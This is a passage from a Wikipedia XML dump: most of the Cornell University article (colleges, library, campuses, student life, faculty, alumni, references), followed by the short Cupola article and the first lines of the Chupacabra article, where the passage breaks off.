* [[Cornell University College of Engineering|College of Engineering]]
* [[Cornell University School of Hotel Administration|School of Hotel Administration]]
&lt;td valign=top&gt;

=====Contract colleges=====
* [[New York State College of Agriculture and Life Sciences]]
* [[New York State College of Human Ecology]]
* [[New York State School of Industrial and Labor Relations]]
&lt;/table&gt;

====Graduate/Professional colleges and schools==== 
All of Cornell's graduate and professional schools are endowed, except for the statutory veterinary school.

* [[Cornell University Graduate School|Graduate School]]
* [[Cornell Law School]]
* [[S.C. Johnson Graduate School of Management]]
* [[Weill Cornell Medical College]] (New York City)
* [[Weill Cornell Medical College in Qatar|Weill Cornell Medical College (Qatar)]]
* [[Weill Cornell Graduate School of Medical Sciences]] (New York City)
* [[New York State College of Veterinary Medicine]]

====Other====
* School of Continuing Education and Summer Sessions

===Non-academic units===
====Cornell University Library====
[[Image:Cornell Law School Library.JPG|300px|right|thumb|The [[Cornell Law School|Cornell Law]] Library]] 
The [[Cornell University Library]] (CUL) consists of twenty units. One of the twelve largest academic research libraries in the United States by volume, it holds 7 million volumes in open stacks, 8 million microforms, and some 76,000 sound recordings in its collections, in addition to extensive digital resources and the University Archives{{ref|cornell_university_library.collections}}. It was the first among all U.S. colleges and universities to allow undergraduates to borrow books from its libraries.

CUL plays an active role in furthering online archiving of scientific and historical documents. The [[arXiv.org e-print archive]], created at [[Los Alamos National Laboratory]] by [[Paul Ginsparg]], is operated and primarily funded by Cornell as part of CUL's services. The archive has changed the way many physicists and mathematicians communicate, making the [[eprint]] a viable and popular form for announcing new research. 

The [[Project Euclid]] initiative creates one resource joining commercial journals with low-cost independent journals in mathematics and statistics. The project is aimed at enabling affordable scholarly communication through the Internet. Besides archival purposes, primary goals of the project is to facilitate journal searches and interoperatibility between different publishers.

The Cornell Library Digital Collections are online collections of historical documents. Featured collections include the Database of African-American Poetry, the Historic Math Book Collection, the Samuel May Anti-Slavery Collection, the Witchcraft Collection, and the Donovan Nuremberg Trials Collection.

====Cornell University Press====
[[Cornell University Press]], established in [[1869]], but inactive from about [[1890]] to [[1930]], was the first university publishing enterprise in the United States and is one of the country's largest university presses{{ref|cornell_university_press.history}}. It produces approximately 150 titles each year in various disciplines including anthropology, classics, cultural studies, history, literary criticism and theory, medieval studies, philosophy, politics and international relations, psychology and psychiatry, and women's studies.
Established in the College of the Mechanic Arts (as mechanical engineering was called in the 1800s), probably because engineers knew more than literature professors did about running steam-powered printing presses, the Cornell University Press offered work-study financial aid when tuition to Cornell cost $75 a year. Students with previous training in the printing trades were paid to set the type and run the presses that printed textbooks, a weekly student journal, pamphlets and official university publications, such as the annual “Register” book. An advertisement in the 1870 “Register” said that America’s first university press  “solicits the patronage of the public for two reasons: First, it attempts to do its work well. Second, its employees are all young men who are endeavoring, by means of their own labor, to defer the expenses of a University education”.

==The campuses==
===Main campus===
[[Image:Sibley Cornell Snow.jpg|right|250px|thumb|Sibley Hall houses the [[College of Architecture, Art and Planning]].]] Cornell's main campus is located on the eastern hill of [[Ithaca, New York]], overlooking the city. Day Hall, the administration building, is located on East Avenue. The campus itself is situated on a rolling site of 745 acres (3 km&amp;sup2;) on East Hill, overlooking [[Cayuga Lake]] and downtown Ithaca two miles (3 km) to the west. Over time, the campus has had numerous layouts proposed.  The original one was created by [[Frederick Law Olmsted]], designer of [[Central Park]] and numerous other college campuses.  The changing plans have evolved into the 260 or so major buildings mostly divided into quads for the Arts, Engineering, and Agriculture, a science lab complex, and the athletic complex. 

Central Campus is bounded to its north and south by limestone gorges and waterfalls. Dormitories, fraternity and sorority houses, and student centers are located on North Campus, north of Fall Creek Gorge, and on West Campus, at the bottom of the Library Slope (&quot;Libe Slope&quot;). After snowfalls, students are known to sled down the Slope on trays from the dining halls. East of the main campus lie the [[Cornell Plantations]], approximately 3,600 acres (15 km&amp;sup2;) encompassing botanical gardens and the [[F.R. Newman Arboretum]], as well as natural woodlands, trails, streams, and gorges. South of Cascadilla Gorge lies the student-oriented Collegetown business and residential district.

[[Image:Mcgraw.jpg|thumb|220px||left|McGraw Tower, the iconic image of Cornell]] The first building, Morrill Hall, was erected in [[1868]], although Cascadilla Hall, a dormitory in Collegetown, predates the university (it was originally used as a water-cure sanitarium and school for the education of women physicians and nurses when it was built in 1864{{ref|main_campus.cascadilla}}). Cornell's signature landmark is McGraw Tower, which rises 173 feet and 161 steps from the ground. Constructed in [[1891]] adjoining Uris Library, it features the [[Cornell Chimes]], 21 bells on which the Cornell chimesmasters play three daily concerts. The clock tower has been the target of a number of pranks. In 1997, a large pumpkin{{ref|main_campus.clocktower_pumpkin}} was placed on spire of the clock tower and a disco ball{{ref|main_campus.clocktower_discoball}} in 2005. How either prank was engineered has not been discovered.

Contrasting with the [[Gothic architecture|Gothic]], [[Victorian era|Victorian]], and [[Neoclassicism|Neoclassical]] buildings on the Arts Quad is the [[Herbert F. Johnson Museum of Art]], designed by [[I. M. Pei]]. Other notable buildings: Willard Straight Hall, one of the earliest student unions{{ref|main_campus.willard_straight_hall}}; Martha Van Rensselaer Hall, the largest academic building in the eastern United States; Duffield Hall, one of the world's most advanced nanotechnology facilities;  and the Statler Hotel, adjacent to and associated with the School of Hotel Administration.

===New York City campus===
The New York Weill Cornell Medical Center is located on the [[Upper East Side]] of [[Manhattan]], [[New York City]]. It is home both to the [[Weill Cornell Medical College]] and [[Weill Cornell Graduate School of Medical Sciences]], and has a long affiliation with the [[New York-Presbyterian Hospital]]. Although their faculty and academic divisions remain separate, the Medical Center shares its administrative functions with the [[Columbia University Medical Center]]. Weill Cornell Medical College is also affiliated with the neighboring [[Memorial Sloan-Kettering Cancer Center]], [[Rockefeller University]], and the [[Hospital for Special Surgery]]. Many faculty have joint appointments at these institutions, and Weill Cornell, Rockefeller, and MSKCC offer a Tri-Institutional MD-PhD program to selected entering Cornell medical students.

New York City is also home to local offices of the Cornell [[Cooperative extension service|Cooperative Extension]], to an office of the ILR (Industrial and Labor Relations) Extension, to an office of the College of Architecture, Art &amp; Planning, and to Cornell's Operations Research Manhattan Center. These facilities are all separate from and operated independently of the medical center.

===Other campuses===
[[Image:Arecibo.arp.750pix.jpg|right|thumb|230px|Arecibo Observatory in Puerto Rico]]
The [[New York State Agricultural Experiment Station]], operated by the College of Agriculture and Life Sciences, is located in [[Geneva, New York]], 50 miles (80 km) northwest of the main campus. The facility now comprises 20 major buildings on 130 acres (0.5 km&amp;sup2;) of land, as well as over 700 acres (2.8 km&amp;sup2;) of test plots and other lands devoted to horticultural research. It also operates three substations, Vineyard Research Laboratory in [[Fredonia, New York|Fredonia]], Hudson Valley Laboratory in [[Highland, New York|Highland]] and the Long Island Horticultural Research Laboratory in [[Riverhead, New York|Riverhead]].

The [[Weill Cornell Medical College in Qatar]], located in [[Education City, Qatar|Education City]], near [[Doha]], is housed in a large two-story structure designed by [[Arata Isozaki]].

The Shoals Marine Laboratory, a seasonal marine field station dedicated to undergraduate education and research operated in conjunction with the [[University of New Hampshire]], is located on the 95 acre (0.4 km&amp;sup2;) Appledore Island off the [[Maine]]–[[New Hampshire]] coast.

The [[Arecibo Observatory]] in [[Puerto Rico]], site of the world's largest single-dish [[radio telescope]], is operated by Cornell.

Cornell University maintains facilities in [[Washington, D.C.]] and [[New York City]] for its Cornell in Washington, Urban Semester, and Urban Scholars Programs.

Other facilities include
* [[Cornell Lab of Ornithology]] in Sapsucker Woods in [[Ithaca, New York]] 
* Cornell Biological Field Station at Shackelton Point in [[Bridgeport, New York]]
* Punta Cana and EsBaran biodiversity field stations in the [[Dominican Republic]] and [[Peru]]
* Arnot Teaching and Research Forest natural resources center in [[Tompkins County, New York|Tompkins]] and [[Schuyler County, New York|Schuyler]] Counties.
* Animal Science Teaching and Research Center in [[Harford, New York]], and Duck Research Laboratory in [[Eastport, New York]]
* Offices of the New York Sea Grant, Cornell Cooperative Extension, and School of Industrial and Labor Relations Extension Service throughout New York State
* Offices for Cornell-administered study abroad programs such as the Cornell-Nepal Study Program and Cornell-in-Rome

==Academics==
For the undergraduate class of 2009, 27.1% of [[college application|applicants]] were admitted. Over 88% of them graduated in the top 10% of their high school class (among schools reporting class rank){{ref|academics.admission}}. Cornell's enrollment includes students from over 120 countries and all fifty [[U.S. state]]s.

===International programs===
Cornell offers a wide array of programs and undergraduate majors with an international focus, including [[Africa|Africana Studies]], [[Asia|Asian Studies]], [[France|French Studies]], [[Germany|German Studies]], [[Jewish Studies]], [[Latino|Latino Studies]], [[Near East|Near Eastern Studies]], [[Romance languages|Romance Studies]], [[Russian Literature]], the [[South Asia|South Asia Program]], the [[Southeast Asia|Southeast Asia Program]], and the newly-launched China and Asia-Pacific Studies (CAPS). In addition to these academic programs, to the [[Weill Cornell Medical College in Qatar]] and to its study abroad programs on six continents{{ref|international_programs.study_abroad}}, Cornell has undertaken a number of major initiatives overseas:
*In [[Asia]], Cornell has an agreement with [[Peking University]] in which students in the CAPS major will spend a semester in [[Beijing]].
*The [[Cornell University College of Engineering|College of Engineering]] has an agreement to exchange faculty and graduate students with [[Tsinghua University]] in [[Beijing]]{{ref|international_programs.china}}.
*The [[Cornell University School of Hotel Administration|School of Hotel Administration]] has a joint master's program with [[Nanyang Technological University]] in [[Singapore]]{{ref|international_programs.japan}}.
*The [[New York State College of Agriculture and Life Sciences|College of Agriculture and Life Sciences]] has signed an agreement with [[Japan]]'s [[National Institute of Agrobiological Sciences]] to engage in joint research, and to exchange graduate students and faculty members.
*The [[New York State College of Agriculture and Life Sciences|College of Agriculture and Life Sciences]] has agreed to cooperate in agricultural research with the [[Indian Council of Agricultural Research]]{{ref|international_programs.india}}.
*In the [[Middle East]], Cornell is developing the Bridging the Rift Center{{ref|international_programs.bridging_the_rift}}, a &quot;Library of Life&quot; (or databank about all living systems) on the border of [[Israel]] and [[Jordan]], in collaboration with those two countries and [[Stanford University]].

===Reputation===
Cornell ranked 13th in the [[2006]] [[U.S. News and World Report]] &quot;National Universities&quot; ranking{{ref|reputation.usnews}}, and 12th globally in an academic ranking of world universities by Shanghai Jiao Tong University in 2005{{ref|reputation.worldrank}}.

In its 2005 ranking of engineering programs at universities in the United States, U.S. News and World Report has placed Cornell first in engineering science and engineering physics. That same magazine rated the medical school's departments of psychiatry and orthopedic surgery as second best in the country, while rheumatology was rated third.

==Student life==
===Activities===
[[Image:Sun-first.jpg|right|160px|thumb|[[The Cornell Daily Sun]] is one of numerous campus publications]]
Cornell has more than 800 registered student organizations, running the gamut from [[kayak]]ing to full-armor [[jousting]], from varsity and club [[sport]]s and [[a cappella]] groups to [[improvisational theatre]], from political clubs and publications to [[chess]] and [[Computer and video games|video game]] clubs. Many groups are subsidized financially by the Student Assembly Finance Commission, a student-run organization that gives nearly $1,000,000 a year to clubs and organizations. Organized in [[1868]], the oldest student organization is the [[Cornell University Glee Club]]. 

[[The Cornell Daily Sun]] is the oldest continuously independent college daily in the United States, having published since September [[1880]], and the first collegiate member of the [[Associated Press]]. Other campus publications include [[The Cornell Review]], [[Turn Left]] and [[The Cornell American]].

WVBR is an independent radio station owned and operated by Cornell students. During the 1970s, it was noted for its progressive rock radio format. It is also known for its coverage of both Cornell and national sports.

Cornell also hosts one of the largest [[fraternities and sororities|fraternity and sorority]] systems in North America, with over 60 chapters involving 30 percent of [[undergraduate]] students. [[Alpha Phi Alpha]], the first intercollegiate [[Greek alphabet|Greek-letter]] fraternity established for [[African American]]s was founded at Cornell in [[1906]].

===Housing===
[[Image:Balch Halls Exterior.jpg|left|375px|thumb|[[Balch Hall]] is a women-only dormitory on North Campus]]
University housing is broadly divided into three sections: West Campus, Collegetown and North Campus. As a result of President [[Hunter R. Rawlings III]]'s 1997 Residential Initiative,{{ref|housing.north_campus}} West Campus houses mostly transfer and returning students, whereas North Campus is almost entirely populated by freshmen. 
The only options for living on North Campus for upperclassmen are the program houses: [[Risley Hall|Risley Residential College]], Just About Music (JAM), the Ecology House, Holland International Living Center (HILC), the Multicultural Living Learning Unit (MLLU), the Latino Living Center (LLC), Akwe:kon, and Ujaama.

In an attempt to create a sense of community and an atmosphere of education outside the classroom, the university has undertaken the $250 million [[residential college]] project on West Campus. In line with Andrew Dickson White's vision of the university, the West Campus Class Halls will be demolished and rebuilt as five residential colleges. The first House, the [[Alice Cook House]], was opened to students in 2004, followed by the [[Carl Becker House]] in 2005. The next house will be the [[Hans Bethe House]]. The names of the Houses come from notable Cornell professors. The idea of building a House system can be attributed in part to the success of [[Risley Hall|Risley Residential College]], the oldest continually-operating residential college at Cornell. Like Risley, the new houses will have their own dining halls, student governments, in-house lectures, House trips, and [[heraldry|crests]]. The completion of the five-House &quot;residential college&quot; campus will occur in [[2010]].{{ref|housing.west_campus}}

A variety of off-campus housing options exist. Many homes in the East Hill neighborhoods adjacent to the university have been converted to apartments, and several high-rise apartment complexes have been constructed in the Collegetown neighborhood. A significant number of undergraduate students live in fraternity and sorority houses. Many &quot;co-op&quot; or other independent living units such as Watermargin, [[Telluride Association|Telluride House]], the Center for Jewish Living (formerly the Young Israel House), and the Wait Cooperative also exist.

The campus dining services have been rated as one of the top college dining services many times in recent years{{ref|housing.food}}. Cornell has a program called Cross Country Gourmet Guest Restaurant Series which periodically brings chefs, menus, and atmosphere from America’s most influential restaurants to Cornell’s dining rooms.

===Athletics===
{{main|Cornell Big Red}}
Cornell has one of the most diverse varsity athletic programs in the country. It sponsors 36 varsity teams. [[Image:Schoellkopfcrecent.jpg|right|thumb|250px|[[Schoellkopf Field]].]] An [[National Collegiate Athletic Association|NCAA]] [[Division I]] institution, Cornell is a member of the [[Ivy League]] and also competes in [[Eastern College Athletic Conference]], the largest athletic conference in North America. Cornell's traditional [[American football|football]] rival is the [[University of Pennsylvania]]; in [[1993]], the two institutions celebrated the 100th anniversary of their first game. More keenly followed in the present day are the men's [[ice hockey]] contests with [[Harvard University]], although the rivalry has been somewhat one-sided in recent years, with Cornell leading 22-5-2 since the 95-96 season, including ECAC Championship Game wins in 1996, 2003, and 2005.

In addition to the school's varsity athletics, a wide variety of club sports teams have been organized as student organizations under the auspices of the Dean of Students.

Cornell's intramural program includes 30 sports. In addition to such familiar sports such as [[flag football]], [[squash (sport)|squash]], or [[horseshoes]], such unusual offerings as &quot;inner tube [[water polo]]&quot; and formerly &quot;broomstick [[polo]]&quot; have been offered, as well as a sports trivia competition.

==Faculty==
{{seealso|List of Cornell University people#Faculty}}
Cornell University has over 1,550 full-time and part-time academic faculty members, and an additional 1,600 affiliated with its medical divisions. The 2004-05 Cornell faculty included three [[Nobel Prize|Nobel laureates]], a [[Crawford Prize]] winner, two [[Turing Award]] winners, a [[Fields Medal]] winner, two [[Légion d'honneur|Legion of Honor]] recipients, a [[World Food Prize]] winner, four [[National Medal of Science]] winners, two [[Wolf Prize]] winners, four [[MacArthur Award]] winners, four [[Pulitzer Prize]] winners, 14 Alexander von Humboldt Award winners, two Eminent Ecologist Award recipients, a Carter G. Woodson Scholars Medallion recipient, 20 National Science Foundation CAREER grant holders, a recipient of the [[National Academy of Sciences]] Award for Initiatives in Research, a winner of the American Mathematical Society's Steele Prize for Lifetime Achievement, a recipient of the Heineman Prize for Mathematical Physics, two Packard Foundation grant holders, a Keck Distinguished Young Scholar, two Beckman Foundation Young Investigator grant holders, and two NYSTAR (New York State Office of Science, Technology, and Academic Research) early career award winners. In total, Cornell is affiliated to 32 [[Nobel prizes by university affiliation|Nobel laureates]].{{ref|faculty.distinction}}

Among [[Cornellians#Faculty|Cornell's notable former professors]] are [[Carl Sagan]], [[Norman Malcolm]], [[Vladimir Nabokov]], [[Hans Bethe]], [[Richard Feynman]], [[Kip S. Thorne]], and [[Allan Bloom]].

==Alumni==
{{seealso|List of Cornell University people}}

[[As of 2005]], Cornell University counted over 230,000 living alumni{{ref|alumni.living_graduates}}. The Office of Alumni Affairs and Development sponsors a wide variety of affinity programs, activities, and organizations, including annual Reunion Weekend and [[Homecoming (tradition)|Homecoming]] Weekend festivities in Ithaca, and the International Spirit of Zinck's Night sponsored by Cornell offices and organizations around the world. The various classes, regional clubs, and special interest associations are coordinated by the Cornell Alumni Federation. 

Cornell ranked second in gifts and bequests from alumni and third in total support from all sources (alumni, friends, corporations, and foundations) among U.S. colleges and universities reporting voluntary gift support received in fiscal year 2003-4{{ref|alumni.gifts}}.

Among Cornell's most notable alumni are [[Thomas Pynchon]], [[Pearl S. Buck]], [[Ruth Bader Ginsberg]], [[David Starr Jordan]], [[Lee Teng-hui]], [[Christopher Reeve]], [[Janet Reno]], [[Hu Shih]], [[Sanford I. Weill]], [[E. B. White]] and [[Paul Wolfowitz]].

==Cornelliana==
[[Image:Dragon Day 1901.JPG|right|thumb|250px|[[Dragon Day]], one of the school's oldest traditions, has been celebrated since [[1901]].]]
:''See main article: [[Cornelliana]]''
Cornelliana is a term for Cornell's unique traditions, legends and lore. Cornellian traditions include [[Slope Day]], a celebration held on the last day of classes, and [[Dragon Day]], which includes the burning of a dragon built by architecture students. 

The school colors are [[carnelian]] (a shade of [[red]]) and [[white]], a play on &quot;Cornellian&quot; and Andrew Dickson White. Cornell's athletic teams are referred to as the &quot;[[Cornell Big Red|Big Red]]&quot;; a bear is commonly used as the unofficial mascot, which dates back to the introduction of the mascot &quot;Touchdown&quot; in 1915, a live bear who was brought onto the field during football games. The sports teams participate in the [[Ivy League]] and the [[Eastern College Athletic Conference]] (ECAC). At sporting events, Cornellians sing the university's [[alma mater]] &quot;[[Far Above Cayuga's Waters]]&quot; and [[fight song]] &quot;[[Give My Regards to Davy]]&quot;. People associated with the university are called &quot;[[Cornellians]]&quot;; &quot;Cornellian&quot; may also be used as an adjective and is the name of the university's [[yearbook]].

==See also==
*[[Ivy League]]
*[[Ivy League business schools]]

==External links==
* [http://www.cornell.edu/ Cornell University], official website
* [http://admissions.cornell.edu/ Cornell Undergraduate Admissions]
* [http://cuinfo.cornell.edu/ CUinfo], campus information portal
* [http://www.alumni.cornell.edu/ alumni.cornell], portal for the alumni, parents, and friends of Cornell University, offering services, organizations, and ways to become involved and support the university's mission.
* [http://www.cornellbigred.com/ Cornell Big Red], official athletics site
* ''[http://www.cornelldailysun.com/ The Cornell Daily Sun]'', student newspaper (independent)
* [http://cybertower.cornell.edu/ Cornell Cybertower], collection of Cornell lectures available online
* [http://www.law.cornell.edu/ Legal Information Institute], public information service of Cornell Law School
* [http://www.explore.cornell.edu/scene.cfm?scene=Sites%20and%20Landmarks A Virtual Tour of Cornell]
{{Mapit-US-streetscale|42.448510|-76.478620}}

==Notes and references==
&lt;!-- Wikipedia:Cite_sources/example_style --&gt;
#{{note|lead.research}} {{cite web | url = http://dpb.cornell.edu/irp/research.htm | title = Cornell Institutional Research and Planning: Research | accessdate = 2006-01-01}}
#{{note|lead.china}} {{cite web | url = http://www.news.cornell.edu/Chronicle/04/7.1.04/Lehman-China_trip.html | title = &quot;Lehman leads Cornell delegation in China; Hong Kong and India next&quot; | accessdate = 2006-01-01}}; {{cite web | url =http://www.news.cornell.edu/stories/Nov05/Rawlings_China_main.html | title = &quot;Rawlings heads to China to sign partnership agreement and deliver keynote address at economic summit in Beijing&quot; | accessdate = 2006-01-01}}
#{{note|lead.india}} {{cite web | url = http://www.news.cornell.edu/Chronicle/04/7.15.04/Lehman_India_cover.html | title = &quot;Lehman discusses research and academic collaborations in India&quot; | accessdate = 2006-01-01}}; {{cite web | url =http://www.news.cornell.edu/stories/July05/RawlingsIndia.bpf.html | title = &quot;Cornell president joins Indian prime minister to open new chapter in science education&quot; | accessdate = 2006-01-01}}; {{cite web | url =http://www.news.cornell.edu/releases/March04/India.Grant.bpf.html | title = &quot;Cornell's International Programs awarded $300,000 USAID grant to help bolster agricultural economy in India&quot; | accessdate = 2006-01-01}}
#{{note|lead.singapore}} {{cite web | url = http://www.news.cornell.edu/Chronicle/04/11.11.04/HotelSchool-Nanyang.html | title = &quot;Hotel School, Singapore university establish joint master's program&quot; | accessdate = 2006-01-01}}
#{{note|lead.transnational_claim}} {{cite web | url = http://www.cornell.edu/about/mission/ | title = The Cornell University Mission | accessdate = 2006-01-01}}
#{{note|conception_of_cornell.western_union}} {{cite web | url = http://rmc.library.cornell.edu/Ezra-exhibit/EC-life/EC-life-6.html | title = Ezra Cornell: The Business of the Telegraph | accessdate = 2006-01-01}}
#{{note|conception_of_cornell.cornell_quote}} {{cite web | url = http://rmc.library.cornell.edu/Ezra-exhibit/EC-life/EC-life-10.html | title = Ezra Cornell: &quot;To the poor and to posterity&quot; | accessdate = 2006-01-01}}
#{{note|establishment_of_cornell.act}} {{cite web | url = http://rmc.library.cornell.edu/Ezra-exhibit/EC-life/Screen/C11senate1.JPEG | title = State of New York. In Senate, February 7, 1865 | accessdate = 2006-01-01}}
#{{note|establishment_of_cornell.trustees}} {{cite book | first = Carl | last = Becker | title = Cornell University: Founders and the Founding | year = 1943 | pages = 90 | publisher = Cornell University Press | url = http://dspace.library.cornell.edu/handle/1813/184}}
#{{note|establishment_of_cornell.class_size}} {{cite web | url = http://www.cornell.edu/about/facts/faq_profile.cfm?id=915 | title = Facts about Cornell - How old is Cornell? | accessdate = 2006-01-01}}
#{{note|establishment_of_cornell.ezra_cornell_quote}} {{cite web | url = http://www.cornell.edu/president/history_bio_white.cfm | title = Cornell University - Office of the President - Andrew Dickson White | accessdate = 2006-01-01}} 
#{{note|establishment_of_cornell.curriculum}} {{cite book | first = Morris | last = Bishop | title = A History of Cornell | year = 1962 | pages = 75 | edition = 1st ed. | publisher = Cornell University Press | id = ISBN 0-8014-0036-8}}; {{cite book | first = Frederick | last = Rudolph | title = Curriculum: a history of the American undergraduate course of study since 1636 | year = 1977 | edition = 1st ed. | publisher = San Francisco: Jossey-Bass Publishers | id = ISBN 0-8758-9358-9}}
#{{note|establishment_of_cornell.frederick_rudolph}} {{cite web | url = http://www.cornell.edu/academics/ | title = Cornell University - Academics - Overview | accessdate = 2006-01-01}}
#{{note|research.nsfnet}} {{cite web | url = http://www.nsf.gov/about/history/nsf0050/internet/launch.htm | title = The Internet - The Launch of NSFNET | accessdate = 2006-01-05}};  {{cite web | url = http://www.nsf.gov/news/news_summ.jsp?cntn_id=103050 | title = A Brief History of NSF and the Internet | accessdate = 2006-01-05}};  {{cite web | url = http://www.livinginternet.com/i/ii_nsfnet.htm | title = NSFNET, National Science Foundation Network | accessdate = 2006-01-05}}
#{{note|research.timeline}} {{cite web | url = http://www.news.cornell.edu/releases/rover/timeline.html | title = Cornell's role in missions to Mars: 1962-2003 | accessdate = 2006-01-10}}
#{{note|research.squyres}} {{cite web | url = http://www.sciam.com/article.cfm?chanID=sa006&amp;articleID=000B5749-67A2-1150-A5AC83414B7F0000&amp;pageNumber=2&amp;catID=2 | title = Science and Technology at Scientific American.com: Father of Spirit and Opportunity | accessdate = 2006-01-10}}
#{{note|research.breakthrough}} {{cite web | url = http://www.sciencemag.org/cgi/content/summary/306/5704/2001 | title = Editorial: Breakthrough of the Year | accessdate = 2006-01-10}}
#{{note|research.rover_control}} {{cite web | url = http://www.space.com/news/rovers_cornell_041105.html | title = Space.com—Control of Mars Rovers Shifts to Cornell | accessdate = 2006-01-10}}
#{{note|cornell_university_library.collections}} {{cite web | url = http://library.cornell.edu/about/collstats.html | title = &quot;Cornell University Library: Collection Statistics&quot; | accessdate = 2006-01-01}}
#{{note|cornell_university_press.history}} {{cite web | url = http://www.cornellpress.cornell.edu/cup8_presshistory.html | title = &quot;The History of the Cornell University Press&quot; | accessdate = 2006-01-01}}
#{{note|main_campus.cascadilla}} {{cite web | url = http://ezra.cornell.edu/posting.php?timestamp=781416000#question9 | title = Dear Uncle Ezra: Questions for Thursday, October 6, 1994 | accessdate = 2006-01-01}}
#{{note|main_campus.clocktower_pumpkin}} {{cite web | url = http://rmc.library.cornell.edu/presidents/view_image.php?img=101 | title = The Great Cornell Pumpkin | accessdate = 2006-01-01}}
#{{note|main_campus.clocktower_discoball}} {{cite web | url = http://www.cornellsun.com/media/paper866/news/2005/04/30/BreakingNews/disco.Ball.Affixed.To.Top.Of.Mcgraw.Tower-1338428.shtml | title = &quot;The Cornell Daily Sun - 'Disco Ball' Affixed to Top of McGraw Tower&quot; | accessdate = 2006-01-01}}
#{{note|main_campus.willard_straight_hall}} {{cite web | url = http://www.cornell.edu/search/index.cfm?tab=facts&amp;q=&amp;id=801 | title = Willard Straight Hall | accessdate = 2006-01-01}}
#{{note|academics.admission}} {{cite web | url = http://dpb.cornell.edu/irp/pdf/FactBook/Admissions/Undergraduate/profile.pdf | title = Admissions Information | accessdate=2005-11-23}}
#{{note|international_programs.study_abroad}} {{cite web | url = http://www.cuabroad.cornell.edu/programchoices/regions.asp | title = Cornell Abroad - University &amp; Program Choices | accessdate = 2006-01-01}}
#{{note|international_programs.china}} {{cite web | url = http://www.news.cornell.edu/stories/Nov05/Rawlings_China_signing.html | title = &quot;Cornell China major sealed in Beijing as Rawlings signs agreement with Peking University&quot; | accessdate = 2006-01-01}}
#{{note|international_programs.japan}} {{cite web | url = http://www.news.cornell.edu/stories/Oct05/Ishige.kr.html | title = &quot;Cornell signs research agreement with Japan's genome research institute&quot; | accessdate = 2006-01-01}}
#{{note|international_programs.india}} {{cite web | url = http://www.news.cornell.edu/stories/Dec05/India.MOU.ssl.html | title = &quot;Cornell and India sign new agreement for agricultural development&quot; | accessdate = 2006-01-01}}
#{{note|international_programs.bridging_the_rift}} {{cite web | url = http://www.news.cornell.edu/features/BTR/ | title = Cornell in the Desert: Bridging the Rift | accessdate = 2006-01-01}}; {{cite web | url = http://www.news.cornell.edu/releases/Feb04/BTR.CUresearch.deb.html | title = &quot;Cornell and Stanford to work with Israel and Jordan on Bridging the Rift research center to include world's first databank for all living systems&quot; | accessdate = 2006-01-01}}
#{{note|reputation.usnews}} {{cite web | url = http://www.usnews.com/usnews/edu/college/rankings/brief/natudoc/tier1/t1natudoc_brief.php | title = USNews.com: America's Best Colleges 2006: National Universities: Top Schools | accessdate = 2005-11-23 }}
#{{note|reputation.worldrank}} {{cite web | url = http://ed.sjtu.edu.cn/rank/2005/ARWU2005_Top100.htm | title = Top 500 World Universities (1-100) | accessdate = 2005-11-23}}
#{{note|housing.north_campus}} {{cite web | url = http://ri.campuslife.cornell.edu/Ri_article_page_view.asp?action=article&amp;ID=2318 | title = The Residential Initiative: North Campus | accessdate = 2006-01-01}}
#{{note|housing.west_campus}} {{cite web | url = http://ri.campuslife.cornell.edu/Ri_article_page_view.asp?action=article&amp;ID=2345 | title = The Residential Initiative: West Campus | accessdate = 2006-01-01}}
#{{note|housing.food}} {{cite web | url = http://www.princetonreview.com/college/research/rankings/rankingDetails.asp?CategoryID=6&amp;TopicID=45 | title = The Best 361 College Rankings on The Princeton Review: Quality of Life: Best Campus Food | accessdate = 2006-01-01}}
#{{note|faculty.distinction}} {{cite web | url = http://www.cornell.edu/about/facts/distinction.cfm | title = Facts about Cornell - Marks of Distinction | accessdate = 2006-01-01}}
#{{note|alumni.living_graduates}} {{cite web | url = http://www.cornell.edu/about/facts/stats.cfm | title = Facts about Cornell - Statistics | accessdate = 2006-01-01}}
#{{note|alumni.gifts}} {{cite web | url = http://www.cornell.edu/about/facts/distinction.cfm | title = Facts about Cornell - Marks of Distinction | accessdate = 2006-01-01}}
{{Cornell}}
{{Ivy League}}
{{ECAC Hockey League}}

[[Category:Association of American Universities]]
[[Category:Cornell University]]
[[Category:Ivy League]]
[[Category:Land-grant universities]]
[[Category:Sea-grant universities]]
[[Category:Space-grant universities]]
[[Category:Sun-grant universities]]
[[Category:Ithaca, New York]]
[[Category:Universities and colleges in New York]]
[[Category:Middle States Association of Colleges and Schools]]
[[Category:1865 establishments]]

[[ca:Universitat de Cornell]]
[[de:Cornell University]]
[[es:Universidad de Cornell]]
[[fr:Université Cornell]]
[[hu:Cornell Egyetem]]
[[ja:コーネル大学]]
[[ka:კორნელის უნივერსიტეტი]]
[[ko:코넬 대학교]]
[[nl:Cornell Universiteit]]
[[pl:Cornell University]]
[[pt:Universidade de Cornell]]
[[ru:Корнелльский университет]]
[[sv:Cornell University]]
[[zh:康乃尔大学]]</text>
    </revision>
  </page>
  <page>
    <title>Cupola</title>
    <id>6298</id>
    <revision>
      <id>37253934</id>
      <timestamp>2006-01-29T20:36:33Z</timestamp>
      <contributor>
        <username>Mzajac</username>
        <id>61482</id>
      </contributor>
      <minor />
      <comment>see also [[turret]]</comment>
      <text xml:space="preserve">:''For other uses, see [[cupola (disambiguation)]]''

[[Image:StPetersDomePD.jpg|thumb|right|180px|Cupola of St Peter's Basilica, Rome]]

In [[architecture]], a '''cupola''' consists of a [[dome]]-shaped ornamental structure located on top of a larger [[roof]] or dome, often used as a lookout or to admit light and provide ventilation. The word comes from the [[Italian language | Italian]], and expresses the idea of a &quot;small tub&quot;.

In some cases, the entire main roof of a tower or spire can form a single cupola. More frequently, however, the cupola comprises a smaller structure which sits on top of the main roof. If the cupola can be reached by climbing a [[stairway]] inside the building, it is referred to as a ''[[belvedere (structure)|belvedere]]'' or ''widow's walk''. Some cupolas, called ''lanterns'', have small windows which illuminate the areas below.


== See also ==
* [[Turret]]
* [[Caboose#Cupola or &quot;standard&quot; caboose |Cupola caboose]]

==External links==

*[http://www.cupola.com/ Cupolas in Architecture]

[[Category:Architectural elements]]

[[de:Laterne (Architektur)]]
[[fr:Coupole]]
[[pt:Cúpula]]</text>
    </revision>
  </page>
  <page>
    <title>Chupacabra</title>
    <id>6299</id>
    <revision>
      <id>42056783</id>
      <timestamp>2006-03-03T14:32:14Z</timestamp>
      <contributor>
        <username>Ilmari Karonen</username>
        <id>398996</id>
      </contributor>
      <minor />
      <comment>/* Supposed appearance */ rm redundancy and nonsense</comment>
      <text xml:space="preserve">{{for|the heavy metal album by [[SOiL]]|El Chupacabra (album)}}
{{cleanup}}
[[Image:Chupacabra1.jpg|right|thumb|Drawing of a Chupacabra]]

